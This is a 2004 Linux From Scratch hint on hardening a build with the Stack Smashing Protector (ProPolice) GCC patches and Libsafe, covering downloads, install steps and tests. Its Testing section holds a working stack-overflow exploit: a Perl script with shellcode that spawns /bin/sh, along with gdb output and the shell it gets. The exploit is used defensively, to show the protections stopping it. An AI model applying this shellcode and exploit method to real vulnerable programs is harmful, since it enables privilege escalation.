ssp.txt

Robert Connolly cendres at videotron.ca
Mon Feb 9 07:18:13 PST 2004


I removed 2 lines.
-------------- next part --------------
AUTHOR: Robert Connolly <cendres at videotron dot ca> (ashes)

DATE:   2004-02-08

LICENSE:        Public Domain
Dedicated to the benefit of the public at large without condition.

SYNOPSIS:       Smashing Stack Protector and Libsafe

PRIMARY URL:	https://twocents.mooo.com/
The newest copy is here:
https://twocents.mooo.com/hints/downloads/files/ssp.txt

DESCRIPTION:
Smashing Stack Protector is a C and C++ security extension for GCC.
Libsafe prevents format string attacks.

PREREQUISITES: LFS-5.0

HINT:

=======
Context
=======

	Introduction
		SSP in Glibc vs GCC
		CFLAGS and Bugs
		Hardened GCC
		Libsafe
	Downloads
	Installation
	Testing
	Feedback
	Acknowledgments

============
Introduction
============

Smashing Stack Protector
-The good news:

Based on StackGaurd, SSP was developed by IBM for protecting applications
from stack smashing attacks. This is the single largest class of attacks and
many hope SSP will find its way into the mainstream GCC and become the
default smash guard. This protection uses the urandom device to determine the
guard value, and uses minimal time and space overhead. In practice users do not
complain about loss in system performance even when the entire system is built
with this guard.

The patch will add -fstack-protector-all, -fstack-protector, and
-fno-stack-protector to GCC extensions for C and C++; and
__guard_setup and __stack_smash_handler are defined in libgcc2.c. Programs
compiled with this which are run in chroot will need access to /dev/urandom and
for logging /dev/log. Syslog puts it in /var/log/sys.log where intrusion
detection can use it.
I have tested ProPolice on kernel 2.4 and 2.6, and Glibc linuxthreads and nptl.
It should work with any custom configuration you may have.

-The bad news:

SSP does not protect against everything, infact it has been a long time
since a stack smashing exploit has been a threat, and with modern software it's
somewhat unlikely to happen again, but never say never. It was designed to trade
security for portability and performance.

------------------------
SSP in Libc vs GCC
------------------------
The official SSP maintainer has added support for Gentoo Glibc stack
protector implementation. Gentoo states this patch for Glibc is to correct
static linking problems with some software, and was aided by OpenBSD developers.
Some of the reasons this is better are that stack symbols are kept in a shared
library instead of in the binary, where they can be stripped or optimizted away.
Aside from being cleaner, it should minutely improve preformance.

--------------------
CFLAGS and Bugs
--------------------
The SSP maintainer distributes two patches. The main patch is the guts of
the code, the second patch enables -fstack-protector by default. This isn't as
ideal as -fstack-protector-all. As you will see in the Testing section below,
-fstack-protector-all protects all functions regardless of array size, while
-fstack-protector does not protect arrays of length seven or less. SSP 
often triggers bugs in software, -fstack-protector-all causes even more. The
only unresolved bug I have noticed so far have been with binutils test suite.
However its only with the test suite, not anything that will be installed. By
removing -fstack-protector just for make check, the tests should all pass. Also
because of the nature of Grub, it can not be built with SSP.

--------
Libsafe
--------
-The good news:

Libsafe was developed by Avaya Labs to protect against format string
vulnerabilities. Though not widely used it has been widely tested. This
protection can be installed on an already running system, using ld.so.preload
to watch applications at runtime for functions which are known to be vulnerable.
This of course only protects dynamically linked applications. There should not
be a noticeable performance decrease, and it also logs to syslog.

-The bad news:

We get some errors if we install Libsafe early in the build.
GCC
FAIL: g++.dg/expr/anew1.C execution test
FAIL: g++.dg/expr/anew2.C execution test
FAIL: g++.dg/expr/anew3.C execution test
FAIL: g++.dg/expr/anew4.C execution test

Binutils
FAIL: S-records
FAIL: S-records with constructors

To avoid these errors install Libsafe after gcc in chapter 6. Libsafe is
somewhat obsolete. Most modern software either doesn't use these strings, or
uses them properly. All of the example exploits in exploits/ will fail because
of SSP.

=========
Downloads
=========
Primary site. This has all the SSP patches.
https://twocents.mooo.com/patches/ssp.tar.bz2

----------
ProPolice
----------
 - Glibc
http://www.linuxfromscratch.org/patches/downloads/glibc/ \
	glibc-2.3.2-ssp-functions-1.patch
or
http://www.linuxfromscratch.org/patches/downloads/glibc/ \
	glibc-2.3.3-ssp-functions-1.patch

 - GCC
http://www.linuxfromscratch.org/patches/downloads/gcc/ \
        gcc-3.3.{1|2}-ssp-1.patch
	gcc-2.95.3-ssp-1.patch

 - Linux
This patch enables the kernel to be built with -fstack-protector.

http://www.linuxfromscratch.org/patches/downloads/linux/ \
	linux-2.4.24-ssp-1.patch
or
	linux-2.6.1-ssp-1.patch

 - XFree86
Use this patch when building xfree86. It will use -fno-stack-protector when
building video modules.
http://www.linuxfromscratch.org/patches/downloads/XFree86/ \
        XFree86-4.3.0-ssp-1.patch

------------
Hardened GCC
------------
This is a bash script that will edit the gcc specs file.
https://twocents.mooo.com/patches/gcc/hgcc.sh

# hgcc
Hardened Gnu C Compiler version zero dot three dot one
Currently Supporting - ProPolice
                 -fa Set -fstack-protector-all (Recommended default)
                 -V Show current setting
                 -r Restore Spec file to original condition
                 -v Show script version

--------
Libsafe
--------
Official site:
http://www.research.avayalabs.com/project/libsafe/src/libsafe-2.0-16.tgz

--------------------
Full Bounds Checking
--------------------
This is an auditing tool to give verbose debugging. Applications built with this
will run very slowly. This is not intended for real world use, only for
debugging. -fbounds-checking is added to GCC extensions, and is not used by
default. You can also add this to the specs, but I don't reccomend it with
-fstack-protector with debugging if you want to get consistent results (read up
about /dev/urandom). Applications compiled with this will crash if any part of
the program goes out of bounds.
Official site:
http://web.inter.nl.net/hcc/Haj.Ten.Brugge/ \
	bounds-checking-gcc-3.3.2-1.00.patch.bz2
and
http://www.linuxfromscratch.org/patches/downloads/gcc/ \
	gcc-3.3.2-bounds-checking-1.patch

=====================
Installation
=====================

---------
Chapter 5
---------
Before all binutils make check, do hgcc -r, after make check, do hgcc -fa

 - GCC pass 1
If the host system has SSP in Glibc already, then you can patch gcc
here. Otherwise do not. If in doubt, wait until pass two.
 - Glibc
patch -Np1 -i ../glibc-2.3.2-ssp-functions-1.patch

 - GCC pass 2
patch -Np1 -i ../gcc-3.3.2-ssp-1.patch

 - HGCC
Now you can turn on -fstack-protector-all in the specs file with the hgcc script.
cp hgcc.sh /tools/bin/hgcc
chmod +x /tools/bin/hgcc
hgcc -fa

---------
Chapter 6
---------
 - Glibc
No errors from make check.
hgcc -fp
patch -Np1 -i ../glibc-2.3.2-ssp-functions-1.patch

 - GCC
hgcc -fa
patch -Np1 -i ../gcc-3.3.2-ssp-1.patch

 - HLFS GCC
cp hgcc.sh /usr/bin/hgcc
hgcc -fa

 - Libsafe
make &&
make install

 - Grub
hgcc -r
...
make install
hgcc -fa
...

 - GCC 2.95.3
patch -Np1 -i ../gcc-2.95.3-ssp-1.patch

---------
Chapter 8
---------
Linux kernel

make mrproper &&
patch -Np1 -i ../linux-2.4.24-ssp-1.patch

make menuconfig

make CC="/opt/gcc-2.95.3/bin/gcc -fstack-protector" dep
make CC="/opt/gcc-2.95.3/bin/gcc -fstack-protector" bzImage
...

========
Testing
========
These exploits are obsolete.

## This program overflows the stack.

cat > test-propolice.c << "EOF"
/* test-propolice.c */

#define OVERFLOW "This is longer than 10 bytes"

int main (int argc, char *argv[]) {
    char buffer[10];
    strcpy(buffer, OVERFLOW);
    return 0;
}
EOF

# Then compile and run as follows

gcc -fstack-protector -o test-propolice test-propolice.c &&
./test-propolice

# That should return this to show the guard is working.
# "stack smashing attack in function main"

# You should also see a syslog message similar to this:

# test-propolice[19961]: [ID 702911 auth.crit] stack smashing attack in function
# main

# This program segfaults and the guard ignores it.

cat > fail.c << "EOF"
#include <stdio.h>
#include <unistd.h>

int foo(char *blah) {
  char buffer[7];
  sprintf(buffer, "12345678901234567890123456789012345678901234567890");
  return(1234);
}

int main(int argc, char **argv) {
  printf("before foo()\n");
  foo("blah");
  printf("after foo()\n");
}
EOF

gcc -fstack-protector -o fail fail.c &&
./fail

# Which should return this.
# before foo()
# Segmentation fault

Now try fail.c with -fstack-protector-all.

First we run this code with no protection.
We are using -static so libsafe isn't used.

cat > foo.c << "EOF"
/* foo.c */

 #include <stdio.h>
 int main(int argc, char **argv)
 {
 char buffer[180];
 if(argc>1)
 strcpy(buffer,argv[1]);
 printf("Miam...\n");
 }
EOF

gcc -fno-stack-protector -static -o foo foo.c

cat > x.pl << "EOF"
#!/usr/bin/perl

 ### le shellcode qui execute /bin/sh
 $shellcode = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" .
 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" .
 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .
 "\x80\xe8\xdc\xff\xff\xff/bin/sh";

 ### Return Address / ESP
 $ret = 0xbffff8a0;

 ### la taille du buffer
 $buf = 208;

 $egg = 2000;

 $nop = "\x90";

 $offset = 0;

 if (@ARGV == 1) { $offset = $ARGV[0]; }
 $addr = pack('l', ($ret + $offset));

 for ($i = 0; $i < $buf; $i += 4) {
 $buffer .= $addr;
 }

 for ($i = 0; $i < ($egg - length($shellcode) - 100); $i++){
 $buffer .= $nop;
 }

 $buffer .= $shellcode;
 exec("./foo", $buffer,0);
EOF

Install gdb from http://ftp.gnu.org/gnu/gdb/gdb-6.0.tar.gz
Run this, add run `perl -e 'print "A"x208'`
Look for "esp 0xbffff8a0", you might have to edit x.pl for you.

$ gdb foo
GNU gdb 6.0
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...(no debugging symbols found)...
(gdb) run `perl -e 'print "A"x208'`
Starting program: /home/ashes/LFS/export/testing/foo `perl -e
'print "A"x208'`
(no debugging symbols found)...(no debugging symbols found)...Miam...

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info reg
eax            0x8      8
ecx            0x1fc018d2       532682962
edx            0x4014fe00       1075117568
ebx            0x4014f9e8       1075116520
esp            0xbffff8a0       0xbffff8a0
ebp            0x41414141       0x41414141
esi            0x40015020       1073827872
edi            0xbffff8e4       -1073743644
eip            0x41414141       0x41414141
eflags         0x10246  66118
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x0      0
gs             0x0      0
(gdb) kill
Kill the program being debugged? (y or n) y
(gdb) quit

$ ./x.pl
Miam...
sh-2.05b$

This only demonstrates that bad code can freak out and exit to a shell.
If this code were part of a daemon running as root, or suid, it would give
root shell. The exploits in the libsafe source, and paxtest are basically the
same as this. The paxtest ones are the most modern.

Now lets try this code with SSP.

rm foo && gcc -fstack-protector -static -o foo foo.c
gdb foo
...
run `perl -e 'print "A"x208'`
..
Starting program: /home/ashes/LFS/export/testing/foo `perl -e
'print "A"x208'`
(no debugging symbols found)...(no debugging symbols found)...Miam...
foo: stack smashing attack in function main
Program received signal SIGABRT, Aborted.
0x40047b81 in kill () from /lib/libc.so.6
(gdb)

Here we can see SSP aborted the program, and now ./x.pl also aborts.
Next we test libsafe.

rm foo && gcc -fno-stack-protector -o foo foo.c

$ ./x.pl
Libsafe version 2.0.16
Detected an attempt to write across stack boundary.
Terminating /home/ashes/ssp/testing/foo.
    uid=1001  euid=1001  pid=742
Call stack:
    0x40018cbc  /lib/libsafe.so.2.0.16
    0x40018deb  /lib/libsafe.so.2.0.16
    0x80483a2   /home/ashes/ssp/testing/foo
    0x40039a96  /lib/libc-2.3.2.so
Overflow caused by strcpy()
Killed

And now if you want to build the PaX patch into your kernel, reboot,
and start again. You will notice the first test doesn't work because
the return address keeps changing.

========
Feedback
========

<cendres at videotron dot ca>

ACKNOWLEDGMENTS:

* Thanks to Hiroaki Etoh for providing the SSP patch to IBM
* Thanks to IBM for providing the SSP patch at
	http://www.research.ibm.com/trl/projects/security/ssp/
* Thanks to OpenBSD for their XFree86 code. http://www.openbsd.org/
* Thanks to netsys.com for this
	http://www.netsys.com/cgi-bin/display_article.cgi?1266
* Thanks to securityfocus.com and immunix.com for this
	http://www.securityfocus.com/archive/1/333986/2003-08-17/2003-08-23/2
* Thanks to adamantix.org for kernel patches. http://www.adamantix.org/
* Thanks to Avaya Labs for Libsafe
	http://www.research.avayalabs.com/project/libsafe/
* Thanks to the Pax Team at http://pageexec.virtualave.net/
* Thanks to Teemu Tervo for nptl hint
	http://www.linuxfromscratch.org/hints/downloads/files/nptl.txt
* Thanks to cross compiling hint
	http://www.linuxfromscratch.org/hints/downloads/files/ \
		crosscompiling-x86.txt
* Thanks to http://www.isecurelabs.com/news/64 for proof of concept tests.
* Thanks to Gentoo http://www.gentoo.org/proj/en/hardened/etdyn-ssp.xml

CHANGELOG:
[2003-10-18]
* Debut
* Reformat hint
[2003-10-22]
* Reformatted the patches so they're much easier to apply.
* Edit/rewrite hint & synopsis.
[2003-10-24]
* Added caveat.
* Fixed URLS.
* Lite edit
[2003-10-25]
* New bugs found.
[2003-10-26]
* GCC 2.95.3 patches made.
[2003-10-27]
* XFree86-4.3.0 patch made.
* Hint is now Beta - Need more feedback.
[2003-11-03]
* Edit
* Reformatted patches.
[2003-11-12]
* Reformat patches.
* Update/edit hint.
* Add new example tests.
[2003-11-21]
* Reformat patches.
* Add homepage/mirror url.
* Small edit.
[2003-12-01]
* Added Glibc and kernel patches.
* Rewrote install procedure.
[2003-12-20]
* Try to be more informative.
* Removed Gentoo property.
* Added Libsafe.
* Added Pax.
* Added new versions of binutils and glibc.
* Added GCC PIE.
* Rename filename to winter.txt.
[2003-12-21]
* Do not use "Enforce non-executable pages"
* Spell check.
* Fixed URL.
[2003-12-22]
* Added LOPTS to Net-tools.
* Added LDFLAGS to Perl.
[2003-12-25]
* More cflags.
* New tests.
[2003-12-30]
* Renamed hint back to propolice.txt.
* Added back Gentoo property as optional.
[2004-01-01]
* Added HCC
[2004-01-17]
* Cleanup
[2004-02-08]
* Update urls
* Convert propolice to ssp


More information about the hints mailing list